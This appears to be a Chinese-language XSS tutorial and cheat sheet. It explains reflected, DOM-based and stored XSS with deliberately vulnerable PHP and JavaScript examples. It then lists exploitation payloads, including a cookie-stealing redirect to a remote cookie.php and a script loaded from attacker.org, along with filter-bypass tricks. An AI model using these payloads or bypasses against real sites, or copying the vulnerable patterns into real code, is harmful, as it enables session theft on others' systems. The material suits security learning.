XSS
XSS(Cross-Site Scripting)又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行。XSS是一种经常出现在 Web 应用程序中的计算机安全漏洞,是由于 Web 应用程序对用户的输入过滤不足而产生的.
Table of Contents
XSS攻击类型
常见的 XSS 攻击有三种:反射型、DOM-based 型、存储型。 其中反射型、DOM-based 型可以归类为非持久型 XSS 攻击,存储型归类为持久型 XSS 攻击。
1.反射型
反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。
对于访问者而言是一次性的,具体表现在我们把我们的恶意脚本通过 URL 的方式传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。反射型 XSS 的触发有后端的参与,要避免反射性 XSS,必须需要后端的协调,后端解析前端的数据时首先做相关的字串检测和转义处理。
此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
实例
<?php
$input = $_GET("param");
echo "<div>".$input."</div>";
?>
2.DOM-based型
客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。
实例:
<script>
function test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value=""/>
<input type="button" id="s" value="write" onclick="test()"/>
3.存储型
攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。
存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
实例:通过js脚本获取cookie值,当然,在实际应用中,应该是通过植入链接来将js脚本植入的。
<html>
<head>
<script type="text/javascript">
function getCookie(c_name)
{
if (document.cookie.length>0)
{
c_start=document.cookie.indexOf(c_name + "=")
if (c_start!=-1)
{
c_start=c_start + c_name.length+1
c_end=document.cookie.indexOf(";",c_start)
if (c_end==-1) c_end=document.cookie.length
return unescape(document.cookie.substring(c_start,c_end))
}
}
return ""
}
function setCookie(c_name,value,expiredays)
{
var exdate=new Date()
exdate.setDate(exdate.getDate()+expiredays)
document.cookie=c_name+ "=" +escape(value)+
((expiredays==null) ? "" : ";expires="+exdate.toGMTString())
}
function checkCookie()
{
username=getCookie('username')
if (username!=null && username!="")
{alert('Welcome again '+username+'!')}
else
{
username=prompt('Please enter your name:',"")
if (username!=null && username!="")
{
setCookie('username',username,365)
}
}
alert(document.cookie)
}
</script>
</head>
<body onLoad="checkCookie()">
</body>
</html>
XSS利用原理
漏洞利用
- 盗取cookie:
<script>alert(document.cookie)</script>
- 构造页面跳转:
<script>location='https://www.hacker.com'</script>
- 构造获取cookie并发送到远程主机:
<script>document.location='http://127.0.0.1/test/cookie.phpcookie='+document.cookie</script>
常见注入点
- 输入框
- 留言板
- URL中可传参数的变量
常用PAYLOAD
Script标签:
<script>alert(/1/)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
<script src="http://attacker.org/malicious.js"></script>
<script src=data:text/javascript,alert(1)></script>
<script>setTimeout(alert(1),0)</script>
Img标签:
<img src=x onerror=alert(1)>
<img src=x onerror=prompt(1);>
<img src=javascript:alert('1')>
a标签:
<a href=”javascript:alert(1)”>点击触发</a>
<a href="http://www.hacker.com">点击触发</a>
Iframe标签:
<iframe src="javascript:alert(1)">
<iframe onload=alert(1)>
其他标签:
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
常用事件
- onclick: 点击触发
(<img src=x onclick=alert(1)>)
- onerror: 当 src 加载不出来时触发
(<img src=x onerror=alert(1)>)
- onload: 当 src 加载完毕触发
(<img src=x onload=alert(1)>)
- onmouseover:鼠标指针移动到图片后触发
(<img src=x onmouseover=alert(1)>)
- onmousemove: 鼠标指针移到指定的元素后触发
(<img src=x onmousemove=alert(1) >)
- onfocus: 当 input 输入框获取焦点时触发
(<input onfocus=javascript:alert(1) autofocus>)
常用属性
- src
- action
- href
- data
- content
javascript弹窗函数
- alert()
- confirm()
- prompt()
常见绕过方法
- 大小写绕过
(<SCRIPT>)
- 双写绕过
(<SCr<scRiPT>ipt>)
- 关键字HTML编码绕过
- 任意位置插入null字符
(<im[%00]g onerror=alert(xss) src=a>)
- JavaScript转义
(<script>eval(‘a\154ert(1)’)</script>)